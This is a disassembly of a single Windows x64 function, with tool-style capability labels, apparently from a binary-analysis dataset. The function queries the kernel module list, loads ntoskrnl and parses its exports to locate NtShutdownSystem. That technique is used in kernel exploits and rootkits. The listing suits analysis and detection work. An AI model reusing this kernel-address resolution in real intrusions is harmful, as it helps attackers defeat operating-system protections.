Function at 0x14043621c
Capabilities:
Create thread
Get system information on windows
Load ntoskrnl
Make suspicious ntquerysysteminformation call
Parse pe header
Query environment variable
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xf0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140499010]
xor rax, rsp
mov qword [rbp + 0x1f], rax
mov rsi, rcx
mov qword [rbp - 0x21], rcx
xor r14d, r14d
mov rax, qword [0x140499fb8]
test rax, rax
jne 0x140436859
xor edx, edx
lea r8d, [r14 + 1]
lea rcx, [0x14043dde0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov qword [0x1404a41b0], rax
mov edi, r14d
mov dword [rbp - 0x49], r14d
lea r9, [rbp - 0x49]
xor r8d, r8d
xor edx, edx
lea ebx, [rdx + 0xb]
mov ecx, ebx
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov r15d, 0xc0000004
jmp 0x1404362e4
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp - 0x49]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
lea r9, [rbp - 0x49]
mov r8d, dword [rbp - 0x49]
mov rdx, rax
mov ecx, ebx
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, r15d
je 0x1404362a8
test eax, eax
jns 0x140436303
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1404365a7
mov esi, r14d
mov dword [rsp + 0x30], r14d
cmp dword [rdi], r14d
jbe 0x140436592
or r13, 0xffffffffffffffff
mov r15d, 0x1000
lea r12d, [r13 + 0x10]
mov eax, esi
imul rbx, rax, 0x128
movzx edx, word [rbx + rdi + 0x2e]
add rdx, 0x30
add rdx, rbx
add rdx, rdi
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 9], r14
mov qword [rbp - 1], r14
mov r8, r13
inc r8
cmp byte [rdx + r8], r14b
jne 0x14043634c
lea rcx, [rbp - 0x19]
call fcn.1403f0a00
nop
lea rcx, [rbp - 0x19]
cmp qword [rbp - 1], 0x10
cmovae rcx, qword [rbp - 0x19]
lea rdx, [0x14043dde0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x14043654d
lea rdx, [rdi + 0x30]
add rdx, rbx
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
mov qword [rbp - 0x31], r14
mov qword [rbp - 0x29], r14
mov r8, r13
inc r8
cmp byte [rdx + r8], r14b
jne 0x14043639b
lea rcx, [rbp - 0x41]
call fcn.1403f0a00
nop
lea rcx, str.SYSTEMROOT
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rbp - 0x69], xmm0
mov qword [rbp - 0x59], r14
mov qword [rbp - 0x51], r14
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x1404363cd
mov rdx, rax
lea rcx, [rbp - 0x69]
call fcn.1403f0a00
nop
lea rdx, [0x14048fba4]
lea rcx, [rbp - 0x69]
call fcn.1403ef870
mov rbx, rax
lea rcx, [rbp - 0x41]
call fcn.1403f227c
mov rcx, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x14043640d
mov rbx, qword [rbx]
mov qword [rsp + 0x20], rcx
mov r9, rbx
mov rdx, rax
lea rcx, [rbp - 0x41]
call fcn.1403f23c8
nop
mov rdx, qword [rbp - 0x51]
cmp rdx, 0x10
jb 0x140436459
inc rdx
mov rcx, qword [rbp - 0x69]
mov rax, rcx
cmp rdx, r15
jb 0x140436454
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1404365da
call fcn.140439914
mov qword [rbp - 0x59], r14
mov qword [rbp - 0x51], r12
mov byte [rbp - 0x69], r14b
lea rcx, [rbp - 0x41]
cmp qword [rbp - 0x29], 0x10
cmovae rcx, qword [rbp - 0x41]
xor edx, edx
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rbx, rax
mov eax, 0x5a4d
cmp word [rbx], ax
jne 0x140436692
movsxd rcx, dword [rbx + 0x3c]
cmp dword [rcx + rbx], 0x4550
jne 0x140436692
mov eax, dword [rcx + rbx + 0x88]
test eax, eax
je 0x140436692
mov r15d, dword [rax + rbx + 0x1c]
lea r12, [rbx + r15]
mov r14d, dword [rax + rbx + 0x20]
add r14, rbx
mov r13d, dword [rax + rbx + 0x24]
add r13, rbx
xor esi, esi
test r15d, r15d
je 0x1404364f5
mov edx, dword [r14]
add rdx, rbx
lea rcx, str.NtShutdownSystem
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x1404365e1
inc esi
add r14, 4
cmp esi, r15d
jb 0x1404364d0
mov rdx, qword [rbp - 0x29]
mov r15d, 0x1000
cmp rdx, 0x10
jb 0x140436532
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, r15
jb 0x14043652d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14043670d
call fcn.140439914
xor r14d, r14d
mov qword [rbp - 0x31], r14
lea r12d, [r14 + 0xf]
mov qword [rbp - 0x29], r12
mov byte [rbp - 0x41], r14b
mov esi, dword [rsp + 0x30]
or r13, 0xffffffffffffffff
mov rdx, qword [rbp - 1]
cmp rdx, 0x10
jb 0x140436584
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, r15
jb 0x14043657f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140436714
call fcn.140439914
inc esi
mov dword [rsp + 0x30], esi
cmp esi, dword [rdi]
jb 0x140436322
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rsi, qword [rbp - 0x21]
mov ebx, r14d
mov dword [0x1404a41ac], ebx
mov eax, 0xfff
and bx, ax
mov word [0x1404a41a8], bx
xorps xmm1, xmm1
movdqu xmmword [rbp + 7], xmm1
mov qword [rbp + 0x17], r14
mov rbx, qword [0x1404a3df0]
mov rbx, qword [rbx]
jmp 0x1404367e8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movsxd rax, esi
movzx ecx, word [r13 + rax*2]
mov ebx, dword [r12 + rcx*4]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov rdx, qword [rbp - 0x29]
cmp rdx, 0x10
jb 0x14043663b
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140436636
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14043670d
call fcn.140439914
xor r14d, r14d
mov qword [rbp - 0x31], r14
mov qword [rbp - 0x29], 0xf
mov byte [rbp - 0x41], r14b
mov rdx, qword [rbp - 1]
cmp rdx, 0x10
jb 0x140436689
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140436684
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140436714
call fcn.140439914
mov rsi, qword [rbp - 0x21]
jmp 0x1404365aa
mov rdx, qword [rbp - 0x29]
cmp rdx, 0x10
jb 0x1404366c5
inc rdx
mov rcx, qword [rbp - 0x41]
cmp rdx, r15
mov rax, rcx
jb 0x1404366c0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14043670d
call fcn.140439914
mov byte [rbp - 0x41], r14b
mov qword [rbp - 0x29], r12
mov qword [rbp - 0x31], r14
mov rdx, qword [rbp - 1]
cmp rdx, 0x10
jb 0x1404365a3
inc rdx
mov rcx, qword [rbp - 0x19]
cmp rdx, r15
mov rax, rcx
jb 0x140436703
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140436714
call fcn.140439914
jmp 0x1404365a3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
movups xmm6, xmmword [rbx + 0x20]
mov ecx, 0x20
call fcn.1404398d8
movdqa xmm0, xmm6
psrldq xmm0, 8
movq qword [rax], xmm0
movq qword [rax + 8], xmm6
mov qword [rax + 0x10], rsi
lea rcx, [0x140437574]
mov qword [rax + 0x18], rcx
mov qword [rbp - 0x21], rax
lea rcx, [rbp - 0x71]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x140438b14]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x79], rax
test rax, rax
je 0x140436803
mov rdx, qword [rbp + 0xf]
cmp rdx, qword [rbp + 0x17]
je 0x1404367a0
xorps xmm0, xmm0
movaps xmm1, xmmword [rbp - 0x79]
movdqa xmmword [rbp - 0x79], xmm0
movdqu xmmword [rdx], xmm1
add qword [rbp + 0xf], 0x10
jmp 0x1404367ae
lea r8, [rbp - 0x79]
lea rcx, [rbp + 7]
call fcn.140438774
nop
cmp dword [rbp - 0x71], r14d
jne 0x1404367fc
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], r14b
je 0x1404367dc
mov rax, qword [rbx + 8]
jmp 0x1404367d1
cmp rbx, qword [rax + 0x10]
jne 0x1404367d7
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], r14b
je 0x1404367c4
mov rbx, rax
jmp 0x1404367e8
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], r14b
je 0x1404367dc
cmp byte [rbx + 0x19], r14b
je 0x14043671b
mov rbx, qword [rbp + 7]
mov rdi, qword [rbp + 0xf]
jmp 0x14043684b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov dword [rbp - 0x71], r14d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
cmp dword [rbx + 8], r14d
je 0x1404368a6
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbx + 8], eax
je 0x14043689a
movups xmm0, xmmword [rbx]
movdqu xmmword [rbp - 0x79], xmm0
xor edx, edx
lea rcx, [rbp - 0x79]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
jne 0x14043688e
xorps xmm0, xmm0
movdqu xmmword [rbx], xmm0
add rbx, 0x10
cmp rbx, rdi
jne 0x140436813
lea rcx, [rbp + 7]
call fcn.1404386f4
mov rax, rsi
mov rcx, qword [rbp + 0x1f]
xor rcx, rsp
call fcn.140439620
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3